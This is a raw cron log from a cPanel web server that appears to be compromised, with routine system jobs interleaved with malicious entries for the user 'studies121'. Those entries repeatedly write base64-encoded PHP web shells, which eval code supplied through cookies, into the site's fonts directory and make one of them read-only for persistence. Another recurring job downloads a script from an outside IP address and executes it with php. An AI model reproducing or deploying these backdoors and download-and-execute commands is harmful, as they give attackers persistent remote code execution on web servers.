Sep 11 20:51:01 ip-184-168-122-23 CROND[2627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:51:01 ip-184-168-122-23 CROND[2628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:51:01 ip-184-168-122-23 CROND[2629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:51:01 ip-184-168-122-23 CROND[2630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:52:01 ip-184-168-122-23 CROND[2735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:52:01 ip-184-168-122-23 CROND[2738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:52:01 ip-184-168-122-23 CROND[2737]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:52:01 ip-184-168-122-23 CROND[2740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:52:01 ip-184-168-122-23 CROND[2739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:53:01 ip-184-168-122-23 CROND[2828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:53:01 ip-184-168-122-23 CROND[2830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:53:01 ip-184-168-122-23 CROND[2831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:53:01 ip-184-168-122-23 CROND[2834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:54:01 ip-184-168-122-23 CROND[2919]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:54:01 ip-184-168-122-23 CROND[2921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:54:01 ip-184-168-122-23 CROND[2925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:54:01 ip-184-168-122-23 CROND[2923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:54:01 ip-184-168-122-23 CROND[2922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:55:01 ip-184-168-122-23 CROND[3009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:55:01 ip-184-168-122-23 CROND[3010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:55:01 ip-184-168-122-23 CROND[3012]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:55:01 ip-184-168-122-23 CROND[3014]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:55:01 ip-184-168-122-23 CROND[3011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:55:01 ip-184-168-122-23 CROND[3013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:56:01 ip-184-168-122-23 CROND[3192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:56:01 ip-184-168-122-23 CROND[3195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:56:01 ip-184-168-122-23 CROND[3196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:56:01 ip-184-168-122-23 CROND[3194]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:56:01 ip-184-168-122-23 CROND[3197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:57:01 ip-184-168-122-23 CROND[3304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:57:01 ip-184-168-122-23 CROND[3307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:57:01 ip-184-168-122-23 CROND[3305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:57:01 ip-184-168-122-23 CROND[3306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:58:01 ip-184-168-122-23 CROND[3405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:58:01 ip-184-168-122-23 CROND[3407]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:58:01 ip-184-168-122-23 CROND[3408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:58:01 ip-184-168-122-23 CROND[3409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:58:01 ip-184-168-122-23 CROND[3410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:59:01 ip-184-168-122-23 CROND[3531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:59:01 ip-184-168-122-23 CROND[3532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:59:01 ip-184-168-122-23 CROND[3533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:59:01 ip-184-168-122-23 CROND[3534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:00:01 ip-184-168-122-23 CROND[3621]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 21:00:01 ip-184-168-122-23 CROND[3623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:00:01 ip-184-168-122-23 CROND[3624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:00:01 ip-184-168-122-23 CROND[3626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:00:01 ip-184-168-122-23 CROND[3627]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:00:01 ip-184-168-122-23 CROND[3630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:00:01 ip-184-168-122-23 CROND[3628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:00:01 ip-184-168-122-23 CROND[3629]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:01:01 ip-184-168-122-23 CROND[3800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:01:01 ip-184-168-122-23 CROND[3802]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 21:01:01 ip-184-168-122-23 CROND[3803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:01:01 ip-184-168-122-23 CROND[3806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:01:01 ip-184-168-122-23 CROND[3805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:01:01 ip-184-168-122-23 CROND[3808]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[3802]: starting 0anacron
Sep 11 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[3822]: finished 0anacron
Sep 11 21:02:01 ip-184-168-122-23 CROND[3897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:02:01 ip-184-168-122-23 CROND[3898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:02:01 ip-184-168-122-23 CROND[3901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:02:01 ip-184-168-122-23 CROND[3900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:02:01 ip-184-168-122-23 CROND[3903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:03:01 ip-184-168-122-23 CROND[3997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
